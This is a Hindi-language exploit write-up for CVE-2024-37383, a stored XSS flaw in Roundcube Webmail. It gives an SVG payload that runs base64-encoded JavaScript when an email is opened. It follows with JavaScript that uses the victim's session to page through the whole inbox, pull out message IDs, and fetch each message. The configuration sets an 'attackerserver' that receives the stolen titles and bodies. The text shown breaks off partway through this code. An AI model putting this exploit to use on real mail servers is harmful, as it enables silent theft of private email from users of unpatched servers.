
CVE-2024-37383 (Stored XSS) के लिए Roundcube मेल सर्वर एक्सप्लॉइट
CVE-2024-37383 भेद्यता Roundcube Webmail ईमेल क्लाइंट में खोजी गई थी। यह एक संग्रहीत XSS भेद्यता है जो हमलावर को उपयोगकर्ता के पृष्ठ पर JavaScript कोड निष्पादित करने की अनुमति देती है। भेद्यता का शोषण करने के लिए, हमलावर को केवल 1.5.6 से पहले या 1.6 से 1.6.6 तक के Roundcube क्लाइंट संस्करण का उपयोग करके एक दुर्भावनापूर्ण ईमेल खोलना होता है।
<svg>
<animate attributeName="href " values="javascript:eval(atob('BASE64_EXPLOIT_CODE'));" href="#link" />
</animate>
<a id="link">
<text x=20 y=20>Click me</text>
</a>
</svg>
यह कोड एक Roundcube वेबमेल सर्वर से सभी इनबॉक्स संदेशों को पुनर्प्राप्त करने और उस डेटा को एक विशिष्ट collaborator सर्वर endpoint पर अग्रेषित करने की प्रक्रिया को स्वचालित करता है।
मुख्य वेबमेल URL (target) और प्राप्त करने वाले सर्वर का URL (attackerserver) आसान कॉन्फ़िगरेशन के लिए शुरुआत में वेरिएबल के रूप में परिभाषित किए गए हैं।
getPageCount फ़ंक्शन कुल पृष्ठों की संख्या (pagecount) सहित मेटाडेटा प्राप्त करने के लिए मुख्य वेबमेल URL पर एक GET अनुरोध भेजता है। यदि pagecount मिल जाता है, तो यह प्रत्येक पृष्ठ पर लूप करने के लिए आगे बढ़ता है।
1 से pagecount तक प्रत्येक पृष्ठ के लिए, यह उस पृष्ठ का अनुरोध करने हेतु एक पेजिनेटेड URL बनाता है। regex का उपयोग करके प्रत्येक पृष्ठ की प्रतिक्रिया में add_message_row(NUMBER) के उदाहरणों की जाँच की जाती है, प्रत्येक उदाहरण से संदेश ID निकाले जाते हैं और सभी ID एक ही सूची में एकत्र किए जाते हैं।
प्रत्येक संदेश ID के लिए, कोड उस संदेश के बारे में विस्तृत डेटा का अनुरोध करने हेतु एक URL बनाता है। यह प्रत्येक संदेश ID URL के लिए एक GET अनुरोध भेजता है, जिससे पूर्ण प्रतिक्रिया HTML प्राप्त होती है।
प्रत्येक संदेश प्रतिक्रिया में, यह (संदेश शीर्षक) और मुख्य संदेश सामग्री को कैप्चर करने के लिए regex का उपयोग करता है। संदेश सामग्री से सभी HTML टैग हटा दिए जाते हैं ताकि केवल सादा पाठ ही शेष रहे।
प्रत्येक निकाले गए संदेश के लिए, सर्वर endpoint पर शीर्षक और साफ़ की गई संदेश सामग्री के साथ एक POST अनुरोध किया जाता है, जो उचित ट्रांसमिशन के लिए URL-एन्कोडेड होता है।
// Configuration variables
var target = 'https://webmail.redacted.tld';
var attackerserver = 'https://oastify.com';
function getPageCount(url) {
var req = new XMLHttpRequest();
// Configure the request with credentials
req.open('GET', url, true);
req.withCredentials = true;
// Define the response handler
req.onload = function() {
if (req.status === 200) {
try {
// Parse the response as JSON
let jsonResponse = JSON.parse(req.responseText);
// Access the pagecount field
let pageCount = jsonResponse.env.pagecount;
if (pageCount !== undefined) {
// Array to store all message IDs
let allMessageIds = [];
let completedRequests = 0; // Track the number of completed requests
// Loop to request each page
for (let page = 1; page <= pageCount; page++) {
(function(currentPage) {
var pageReq = new XMLHttpRequest();
// Construct the URL with the current page number
var paginatedUrl = `${url}&_page=${currentPage}`;
// Configure the request
pageReq.open('GET', paginatedUrl, true);
pageReq.withCredentials = true;
// Define the response handler for each page
pageReq.onload = function() {
if (pageReq.status === 200) {
try {
// Get the response text
let responseText = pageReq.responseText;
// Use a regex to find all instances of this.add_message_row(NUMBER)
let messageRowRegex = /this\.add_message_row\((\d+)/g;
let matches;
// Find all matches and extract the numbers
while ((matches = messageRowRegex.exec(responseText)) !== null) {
allMessageIds.push(matches[1]);
}
} catch (error) {
// Error handling for page processing
}
}
completedRequests++; // Increment completed request count
// Check if all requests are completed
if (completedRequests === pageCount) {
// Loop through all message IDs and create URLs using each one
allMessageIds.forEach(id => {
// Construct a new URL with the current message ID
const newUrl = `${target}/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=${id}&_mbox=INBOX&_framed=1&_action=preview`;
// Make a request for each constructed URL
(function(currentUrl) {
var messageReq = new XMLHttpRequest();
messageReq.open('GET', currentUrl, true);
messageReq.withCredentials = true;
// Define the response handler for the message request
messageReq.onload = function() {
if (messageReq.status === 200) {
// Get the response text
let messageResponseText = messageReq.responseText;
// Extract <title> content using regex
let titleMatch = messageResponseText.match(/<title>(.*?)<\/title>/);
let title = titleMatch ? titleMatch[1] : "No Title";